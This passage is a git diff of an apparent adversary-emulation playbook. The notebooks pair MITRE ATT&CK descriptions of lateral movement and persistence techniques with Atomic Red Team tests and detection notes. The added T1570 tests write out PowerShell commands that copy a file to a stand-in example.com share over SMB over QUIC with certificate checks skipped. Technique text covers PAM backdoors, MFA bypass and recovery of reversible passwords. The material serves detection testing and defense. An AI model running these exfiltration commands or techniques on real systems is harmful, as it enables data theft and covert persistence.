existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)" }, { "cell_type": "markdown", - "id": "98b5c531", + "id": "82cb9558", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "00ca5b73", + "id": "60c86790", "metadata": {}, "source": "## Detection\nUse of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions." }, { "cell_type": "markdown", - "id": "bcacd92f", + "id": "718742ba", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can look for anomalies in accounts being active with other services/systems during hours they are normally not active. This can indicate malicious activity.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1570.ipynb b/playbook/tactics/lateral-movement/T1570.ipynb index cf984c7a..87a2671a 100644 --- a/playbook/tactics/lateral-movement/T1570.ipynb +++ b/playbook/tactics/lateral-movement/T1570.ipynb @@ -2,25 +2,67 @@ "cells": [ { "cell_type": "markdown", - "id": "8cf08708", + "id": "8d47348c", "metadata": {}, - "source": "# T1570 - Lateral Tool Transfer\nAdversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095)." + "source": "# T1570 - Lateral Tool Transfer\nAdversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)" }, { "cell_type": "markdown", - "id": "e99238b5", + "id": "5eee839c", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "607ef681", + "id": "db722eae", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Exfiltration Over SMB over QUIC (New-SmbMapping)", + "Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.\nPrerequisites:\n - A file server running Windows Server 2022 Datacenter: Azure Edition\n - A Windows 11 computer\n - Windows Admin Center\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nNew-SmbMapping -RemotePath '\\\\example.com\\sales' -TransportType QUIC -SkipCertificateCheck\ncopy 'C:\\path\\to\\file.txt' 'Z:\\'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c6594cbc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1570 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "1599b43a", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Exfiltration Over SMB over QUIC (NET USE)", + "Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command.\nPrerequisites:\n - A file server running Windows Server 2022 Datacenter: Azure Edition\n - A Windows 11 computer\n - Windows Admin Center\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nNET USE * '\\\\example.com\\sales' /TRANSPORT:QUIC /SKIPCERTCHECK\ncopy 'C:\\path\\to\\file.txt' '*:\\'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0420e261", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1570 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "d59d1dad", "metadata": {}, "source": "## Detection\nMonitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts." }, { "cell_type": "markdown", - "id": "3972c999", + "id": "519b8018", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +70,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence.ipynb b/playbook/tactics/persistence.ipynb index bd173c92..e5f1c5c0 100644 --- a/playbook/tactics/persistence.ipynb +++ b/playbook/tactics/persistence.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "8ce80e37", + "id": "33957625", "metadata": {}, - "source": "# Persistence\nThe adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1205.002 | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nT1556.007 | Hybrid Identity | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\nT1546.016 | Installer Packages | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\nT1556.006 | Multi-Factor Authentication | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \nT1505.005 | Terminal Services DLL | Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.\nT1098.005 | Device Registration | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\nT1574.013 | KernelCallbackTable | Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\nT1556.005 | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\nT1547.015 | Login Items | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\nT1505.004 | IIS Components | Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)\nT1053.007 | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\nT1547.014 | Active Setup | Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1542.005 | TFTP Boot | Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)\nT1542.004 | ROMMONkit | Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\nT1556.004 | Network Device Authentication | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)\nT1053.006 | Systemd Timers | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\nT1547.012 | Print Processors | Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\nT1205.001 | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\nT1556.003 | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)\nT1574.012 | COR_PROFILER | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)\nT1098.004 | SSH Authorized Keys | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value 